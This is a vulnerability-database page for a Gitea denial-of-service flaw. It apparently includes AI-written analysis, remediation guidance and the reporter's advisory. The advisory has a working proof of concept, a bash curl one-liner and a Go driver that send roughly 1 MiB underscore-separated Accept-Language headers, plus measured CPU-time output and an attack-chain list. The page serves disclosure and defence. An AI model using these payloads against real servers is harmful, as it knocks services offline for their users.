Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend HTTP GET to any unauthenticated Gitea endpoint
-
DeliveryInclude ~1 MiB Accept-Language header using underscore separators
-
ExploitBypass CVE-2022-32149 dash-count guard (zero dashes detected)
-
ExecutionTrigger O(N²) gobble path in ParseAcceptLanguage
-
PersistPin server CPU core for ~2 seconds per request
-
ImpactRepeat concurrently to exhaust all host CPU cores
Vulnerability Assessment
| Weakness |
CWE
ASVS 5.0
V2 - Validation and Business Logic Algorithmic complexity limits
|
| Exploitation Conditions | No special configuration is required - the Locale middleware is registered globally and runs on every HTTP request including the unauthenticated landing page and sign-in page, meaning any network-reachable Gitea instance is exposed in its default state. No cookies, tokens, session state, or prior interaction are needed; the attacker must only be able to set a custom Accept-Language header, which any HTTP client supports. The golang.org/x/text library bundled with affected Gitea versions must not independently cap underscore characters (confirmed through 1.26.4). What limits exploitation: (1) impact is purely availability - no data is disclosed and no code is executed; (2) responses return HTTP 200, making detection via standard 4xx/5xx alerting ineffective; (3) a reverse proxy or WAF enforcing a header size limit of ~200 bytes fully neutralizes the attack before it reaches Gitea; (4) instances not exposed to the public internet are at significantly reduced risk due to the requirement for network reachability. |
| Impact | The NVD-assigned CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (score 7.5) is an accurate characterization: the attack is fully network-accessible, requires no authentication or user interaction, and delivers high availability impact with zero confidentiality or integrity consequence. The EPSS score of 0.15% at the 5th percentile is low for a vulnerability with a published proof-of-concept, suggesting that widespread automated scanning has not yet materialized at time of scoring - though EPSS lags publication of PoC code and may not yet reflect the full advisory disclosure. There is no CISA KEV listing, meaning confirmed in-the-wild exploitation has not been formally validated, so distinguishing targeted from opportunistic use is not possible from available data. Despite low EPSS, the practical exploitation barrier is minimal: a single curl command with a crafted header suffices, the amplification ratio is extreme (~1 MiB upstream burns ~2 CPU-seconds), and the attack surface is every unauthenticated HTTP endpoint. Even a mid-sized municipal IT team in malbork operating a public-facing Gitea instance should treat this as urgent given the trivial tooling required and the fact that attack traffic returns HTTP 200, making detection via standard error-rate dashboards unreliable. SSVC signals align with a prioritize-patch posture for any internet-facing deployment: exploitation is automatable, technical impact is partial (availability-only), and no authentication is required. |
| Exploit ScenarioDerived | An unauthenticated attacker sends repeated HTTP GET requests to the Gitea landing page or sign-in page with a crafted Accept-Language header of approximately 1 MiB constructed from underscore-separated tokens such as en_abcdefghi_abcdefghi... - the CVE-2022-32149 dash-count guard sees zero dashes and allows the input through, after which the quadratic gobble path in ParseAcceptLanguage runs to completion and consumes approximately 2 seconds of server CPU per request. A detailed proof-of-concept including a bash one-liner and a Go driver demonstrating the timing differential is publicly available in the GHSA advisory, making replication trivial. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv3 – Aug 14, 2026
Unauthenticated denial of service in Gitea's Locale middleware allows any remote attacker to consume ~2 seconds of server CPU per HTTP request by crafting a ~1 MiB Accept-Language header composed of underscore separators, bypassing the existing CVE-2022-32149 guard in golang.org/x/text which only counts dash characters. All Gitea releases from 1.22.x through 1.26.x are affected because the middleware at modules/web/middleware/locale.go:38 passes the raw, unfiltered header directly to the quadratic-time ParseAcceptLanguage parser; ten concurrent attackers consuming ~10 MiB/s of upstream bandwidth can saturate all cores of a ten-core host indefinitely. Publicly available exploit code exists in the GHSA advisory; no active exploitation has been confirmed by CISA KEV at time of analysis.
Earlier versions of this analysis (2)
Denial-of-service in Gitea's Locale middleware allows any unauthenticated remote attacker to exhaust server CPU by sending a crafted Accept-Language HTTP header filled with underscore-separated pseudo-language tokens, bypassing the existing CVE-2022-32149 guard in golang.org/x/text. A single 1 MiB request burns approximately 2 seconds of CPU on one core; ten concurrent attackers using only ~10 MiB/s of upstream bandwidth can saturate a ten-core Gitea host indefinitely, denying service to all users. Publicly available exploit code exists in GitHub Security Advisory GHSA-fw57-jgch-pgf3; EPSS is low at 0.15% (5th percentile), but the trivial, zero-prerequisite attack vector makes this a practical availability risk for any internet-facing Gitea deployment.
Uncontrolled CPU consumption in Gitea (code.gitea.io/gitea, all versions < 1.27.0) lets a remote unauthenticated attacker stall the server by sending a single crafted Accept-Language header. The Locale middleware runs on every request - including the landing and sign-in pages - and passes the raw header into golang.org/x/text's ParseAcceptLanguage, whose quadratic-time scanner is reachable because the CVE-2022-32149 hardening only counts '-' separators while the scanner also treats '_' as a separator alias. A 1 MiB header of '_'-separated garbage tokens burns ~2 seconds of one CPU core per request while returning HTTP 200, and publicly available proof-of-concept code (bash one-liner plus a Go E2E driver) demonstrates the bypass; no active exploitation is reported.
RemediationAI
Vendor-released patch: v1.27.0. Upgrade to Gitea 1.27.0, which introduces a 200-character hard truncation of the Accept-Language header inside a new parseAcceptLanguage wrapper in modules/web/middleware/locale.go (commit f452c369acc9f1bd05ec6ef9c2e4399062dd6da1, PR https://github.com/go-gitea/gitea/pull/38323; release blog at https://blog.gitea.com/gitea-1.27.0-is-released/ and tagged release at https://github.com/go-gitea/gitea/releases/tag/v1.27.0). For deployments that cannot upgrade immediately, place a reverse proxy or WAF in front of Gitea and reject or truncate Accept-Language headers exceeding 200 bytes - for example via nginx's proxy_set_header or a ModSecurity rule; this eliminates the attack surface without application changes, though it may silently discard unusual but legitimate multi-language preference lists (a negligible real-world trade-off since browser headers rarely exceed 100 bytes). Reducing Go's net/http MaxHeaderBytes is a code-level alternative but requires recompilation. Note that the root cause also exists in the golang.org/x/text library itself; an upstream fix to ParseAcceptLanguage would be the definitive long-term resolution.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is rooted in CWE-407 (Insufficient Control of Algorithmic Complexity). Gitea's HTTP request pipeline wires the Locale middleware globally in routers/web/web.go so it runs before authentication on every request. At modules/web/middleware/locale.go:38, the middleware calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header value. The BCP 47 parser inside golang.org/x/text has a known quadratic-time scan path (the gobble function in internal/language/parse.go) triggered by long lists of malformed language tags. CVE-2022-32149 added a guard in 2022 that rejects inputs containing more than 1000 dash (-) characters. However, the scanner internally aliases underscore (_) to dash before parsing, so inputs built from underscore separators contain zero dash characters, pass the guard unconditionally, and still drive the O(N²) gobble path. Because Go's net/http default MaxHeaderBytes is 1 MiB (1 << 20 bytes) and Gitea does not override it, an attacker can deliver up to 1 MiB of input - approximately 104,857 underscore-separated tokens - to the vulnerable parser. The affected package is pkg:go/code.gitea.io_gitea covering versions through 1.26.4 per ENISA EUVD-2026-58163.
Know when Gitea gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Network-reachable unauthenticated endpoint with no special configuration; impact is exclusively availability via CPU exhaustion with no confidentiality or integrity consequence.
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
Lifecycle Timeline
4DescriptionCVE.org
Summary
The Locale middleware that runs in front of every unauthenticated request calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header without imposing a size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators burns ~2 seconds of server CPU on the host running Gitea; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~1 MiB of upstream bandwidth per request.
Affected versions
code.gitea.io/gitea 1.22.6 and (per code inspection of main) all earlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that do not impose their own size limit on the Accept-Language header before calling ParseAcceptLanguage. Verified on:
- the official
gitea/gitea:1.22.6docker image (E2E below) mainat commit6f4027a6be28c876c0abaf37cc939658645b78a3by reading
modules/web/middleware/locale.go (the call site at line 38 is unchanged on main)
Privilege required
Unauthenticated. The Locale middleware runs for every HTTP request including the landing page and the sign-in page.
Vulnerable code
modules/web/middleware/locale.go:38 (blob SHA fc396f0808187c358b4fc15dcefcd6957140a780):
// 3. Get language information from 'Accept-Language'.
// The first element in the list is chosen to be the default language automatically.
if len(lang) == 0 {
tags, _, _ := language.ParseAcceptLanguage(req.Header.Get("Accept-Language"))
tag := translation.Match(tags...)
lang = tag.String()
}req.Header.Get("Accept-Language") is the unfiltered HTTP header. Default Go net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Gitea does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.
CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 1 MiB header full of 9-character _aaaaaaaaa_aaaaaaaaa_... tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path. The fix author of CVE-2022-32149 treated - as the canonical separator; the _ alias was added in 2013, nine years before the fix.
How Accept-Language reaches ParseAcceptLanguage
Every Gitea HTTP request passes through Locale as it is wired up via the global request pipeline (Gitea registers the middleware on its router in routers/web/web.go). The middleware sequence is:
- The request enters
Locale(resp, req). req.URL.Query().Get("lang")returns "" (attacker omitslang).req.Cookie("lang")returns nil on a fresh client (attacker uses a
fresh client, or simply does not send the cookie).
req.Header.Get("Accept-Language")returns the full attacker-supplied
header value.
language.ParseAcceptLanguage(...)runs unfiltered.
No size or character class filter is applied between (4) and (5).
Proof of concept
Single-line bash reproducer that crafts the malicious header and times one request against a fresh gitea/gitea:1.22.6 container:
docker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6
sleep 8
PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"
curl -sS -o /dev/null \
-w 'http=%{http_code} t=%{time_total}\n' \
-H "Accept-Language: ${PAYLOAD}" \
http://127.0.0.1:13000/Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).
End-to-end reproduction (against gitea/gitea:1.22.6)
A Go driver poc.go that boots the container, sends a 1 MiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):
// poc.go
package main
import (
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
)
const targetURL = "http://127.0.0.1:13000/"
func buildPayload(sep string, targetBytes int) string {
const tok = "abcdefghi"
var b strings.Builder
b.Grow(targetBytes + 16)
b.WriteString("en")
for b.Len()+1+len(tok) <= targetBytes {
b.WriteString(sep)
b.WriteString(tok)
}
return b.String()
}
func send(label, header string) {
client := &http.Client{
Timeout: 60 * time.Second,
Transport: &http.Transport{
DisableKeepAlives: true,
DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
},
}
req, _ := http.NewRequest("GET", targetURL, nil)
if header != "" {
req.Header.Set("Accept-Language", header)
}
t0 := time.Now()
resp, err := client.Do(req)
dt := time.Since(t0)
if err != nil {
fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err)
return
}
_, _ = io.Copy(io.Discard, resp.Body)
resp.Body.Close()
fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n",
label, len(header),
strings.Count(header, "_"), strings.Count(header, "-"),
resp.StatusCode, dt)
}
func main() {
send("warm-up", "")
send("baseline (no header)", "")
send("baseline (1 short tag)", "en-US")
send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
send("attack ('_' x 1MiB)", buildPayload("_", 1<<20))
send("attack repeat 2", buildPayload("_", 1<<20))
send("attack repeat 3", buildPayload("_", 1<<20))
}Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official gitea/gitea:1.22.6 image with no other tuning):
E2E: golang/x/text ParseAcceptLanguage '_' bypass through
go-gitea/gitea 1.22.6 Locale middleware at
modules/web/middleware/locale.go:38.
Target: http://127.0.0.1:13000/
warm-up (no header) header=0 B '_'=0 '-'=0 status=200 t=18.079666ms
--- measurements (single request each) ---
baseline (no header) header=0 B '_'=0 '-'=0 status=200 t=6.480333ms
baseline (1 short tag) header=5 B '_'=0 '-'=1 status=200 t=5.0455ms
guard-fires control ('-' x 1MiB) header=1048572 B '_'=0 '-'=104857 status=200 t=26.020625ms
attack ('_' x 1MiB) header=1048572 B '_'=104857 '-'=0 status=200 t=2.159538333s
attack repeat 2 header=1048572 B '_'=104857 '-'=0 status=200 t=1.938493583s
attack repeat 3 header=1048572 B '_'=104857 '-'=0 status=200 t=1.679953042sInterpretation:
| Request | Header bytes | Server time |
|---|---|---|
| no header / short tag | 0 - 5 | 1 - 7 ms |
1 MiB - separators (CVE-2022-32149 guard fires) | 1 MiB | 26 ms |
1 MiB _ separators (guard bypassed) | 1 MiB | 1.7 - 2.2 s |
The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 1 MiB - payload returns in 26 ms because the parser short-circuits with ErrTagListTooLarge. The _ attack returns 200 from the same endpoint but consumes ~2 s of server CPU because the guard did not fire and the quadratic scanner ran to completion.
Impact
- One unauthenticated client can pin one CPU core for ~2 seconds per 1
MiB request.
- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a
10-core Gitea instance indefinitely.
- The endpoint returns 200 OK, so the attack does not surface as
abnormal traffic in standard 4xx/5xx dashboards.
- Self-hosted Gitea installations published to the public internet (the
common pattern) are exposed.
Suggested fix
Apply the size / character-class filter before reaching ParseAcceptLanguage. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and short-circuit when the total exceeds a small ceiling:
// modules/web/middleware/locale.go
const maxAcceptLanguageSeparators = 32 // matches typical real browser values
if len(lang) == 0 {
al := req.Header.Get("Accept-Language")
if strings.Count(al, "-")+strings.Count(al, "_") > maxAcceptLanguageSeparators {
// Refuse to call into the BCP 47 parser with absurd input.
al = ""
}
tags, _, _ := language.ParseAcceptLanguage(al)
tag := translation.Match(tags...)
lang = tag.String()
}A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.
The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive in depth at the only call site that consumes attacker input.
Credit
Reported by tonghuaroot.
Articles & Coverage 1
Executive ViewAI
Gitea versions 1.22.x through 1.26.x are vulnerable to unauthenticated denial-of-service attacks, and publicly available exploit code exists that allows attackers to exhaust server resources and render Git repository services unavailable. A small coordinated attack can permanently disable an instance, disrupting development operations and blocking critical workflows. Immediate patching is required to restore availability.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica
Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran
Same weakness CWE-407 – Inefficient Algorithmic Complexity
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-58163
GHSA-fw57-jgch-pgf3
NVD
CVE.org
EPSS
Exploit-DB